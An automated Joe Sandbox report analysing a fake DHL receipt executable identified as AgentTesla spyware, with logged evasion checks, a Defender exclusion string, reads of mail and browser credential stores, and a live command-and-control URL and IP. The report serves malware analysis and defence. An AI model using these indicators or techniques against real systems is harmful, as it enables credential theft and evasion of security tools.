Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 236547	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 236250	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 236047	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 235903	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Window / User API: threadDelayed 1131	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Window / User API: threadDelayed 1478	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Window / User API: threadDelayed 3086	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Window / User API: threadDelayed 6732	Jump to behavior

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239859	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 39145	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239734	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239625	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239511	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239406	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239297	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239141	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 239030	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238922	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238781	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238671	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238562	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238437	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238328	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 238216	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 237953	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 237703	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 237141	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 236547	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 236250	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 236047	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 235903	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309824480.0000000002871000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309824480.0000000002871000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309824480.0000000002871000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309824480.0000000002871000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Code function: 4_2_00C8F118 LdrInitializeThunk,

4_2_00C8F118

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Process created: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Jump to behavior

Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566529351.0000000001230000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566529351.0000000001230000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566529351.0000000001230000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566529351.0000000001230000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Linq.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DHL_119040 ontvangstbewijs,pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DHL_119040 ontvangstbewijs,pdf.exe.39a2278.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DHL_119040 ontvangstbewijs,pdf.exe.396ca58.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DHL_119040 ontvangstbewijs,pdf.exe.39a2278.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DHL_119040 ontvangstbewijs,pdf.exe.396ca58.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.305861427.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.306305831.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.306831919.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.307479462.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.564785123.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.310307492.000000000387D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.567348132.0000000002960000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL_119040 ontvangstbewijs,pdf.exe PID: 4532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL_119040 ontvangstbewijs,pdf.exe PID: 6736, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Show sources

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior
Source: C:\Users\user\Desktop\DHL_119040 ontvangstbewijs,pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Source: Yara match	File source: 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL_119040 ontvangstbewijs,pdf.exe PID: 6736, type: MEMORYSTR

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DHL_119040 ontvangstbewijs,pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DHL_119040 ontvangstbewijs,pdf.exe.39a2278.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DHL_119040 ontvangstbewijs,pdf.exe.396ca58.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DHL_119040 ontvangstbewijs,pdf.exe.39a2278.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DHL_119040 ontvangstbewijs,pdf.exe.396ca58.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.305861427.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.306305831.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.306831919.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.307479462.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.564785123.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.310307492.000000000387D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.567348132.0000000002960000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL_119040 ontvangstbewijs,pdf.exe PID: 4532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL_119040 ontvangstbewijs,pdf.exe PID: 6736, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Path Interception	Process Injection12	Masquerading1	OS Credential Dumping1	Security Software Discovery211	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Command and Scripting Interpreter2	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Archive Collected Data11	Exfiltration Over Bluetooth	Non-Application Layer Protocol2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion131	Security Account Manager	Virtualization/Sandbox Evasion131	SMB/Windows Admin Shares	Data from Local System1	Automated Exfiltration	Application Layer Protocol13	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection12	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information2	Cached Domain Credentials	System Information Discovery114	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing13	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
4.2.DHL_119040 ontvangstbewijs,pdf.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.12.unpack	100%	Avira	TR/Spy.Gen8	Download File
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.10.unpack	100%	Avira	TR/Spy.Gen8	Download File
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.8.unpack	100%	Avira	TR/Spy.Gen8	Download File
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.6.unpack	100%	Avira	TR/Spy.Gen8	Download File
4.0.DHL_119040 ontvangstbewijs,pdf.exe.400000.4.unpack	100%	Avira	TR/Spy.Gen8	Download File

Domains

Source	Detection	Scanner	Label	Link
mgbless.in	5%	Virustotal		Browse
www.mgbless.in	8%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://www.mgbless.in	8%	Virustotal		Browse
http://www.mgbless.in	0%	Avira URL Cloud	safe
https://www.mgbless.in/	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.mgbless.in4	0%	Avira URL Cloud	safe
https://www.mgbless.in	0%	Avira URL Cloud	safe
https://api.ipify.org%GETMozilla/5.0	0%	URL Reputation	safe
http://lmeJrA.com	0%	Avira URL Cloud	safe
http://mgbless.in	0%	Avira URL Cloud	safe
https://www.mgbless.in/mac/inc/0bb73b6c7ade1a.php127.0.0.1POST	0%	Avira URL Cloud	safe
https://api.ipify.org%	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.mgbless.in/mac/inc/0bb73b6c7ade1a.php	0%	Avira URL Cloud	safe
https://www.mgbless.inD8	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mgbless.in	104.223.93.105	true	true	5%, Virustotal, Browse	unknown
www.mgbless.in	unknown	unknown	true	8%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.mgbless.in/mac/inc/0bb73b6c7ade1a.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.mgbless.in	DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567156721.00000000028D9000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567483642.00000000029AF000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567260931.0000000002902000.00000004.00000001.sdmp	true	8%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.mgbless.in/	DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000003.346874952.0000000000C23000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.mgbless.in4	DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567106742.00000000028BC000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://www.mgbless.in	DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567106742.00000000028BC000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://api.ipify.org%GETMozilla/5.0	DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	false	URL Reputation: safe	low
http://lmeJrA.com	DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://mgbless.in	DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567156721.00000000028D9000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567483642.00000000029AF000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567260931.0000000002902000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309960102.000000000293B000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.309824480.0000000002871000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567106742.00000000028BC000.00000004.00000001.sdmp	false		high
https://www.mgbless.in/mac/inc/0bb73b6c7ade1a.php127.0.0.1POST	DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.566852760.0000000002811000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://api.ipify.org%	DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567237496.00000000028F9000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	DHL_119040 ontvangstbewijs,pdf.exe, 00000001.00000002.310307492.000000000387D000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000000.305861427.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.mgbless.inD8	DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567483642.00000000029AF000.00000004.00000001.sdmp, DHL_119040 ontvangstbewijs,pdf.exe, 00000004.00000002.567260931.0000000002902000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.223.93.105	mgbless.in	United States		8100	ASN-QUADRANET-GLOBALUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	528504
Start date:	25.11.2021
Start time:	11:36:15
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	DHL_119040 ontvangstbewijs,pdf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@6/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 86 Number of non-executed functions: 3
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, fs.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:37:18	API Interceptor	737x Sleep call for process: DHL_119040 ontvangstbewijs,pdf.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
104.223.93.105	Trasferimento.vbs	Get hash	malicious	Browse	nofearsw.in/cgi-sys/suspendedpage.cgi
	EL1aBD5Zqr.exe	Get hash	malicious	Browse	nofearsw.in/swo/inc/11828554f46a7d.php
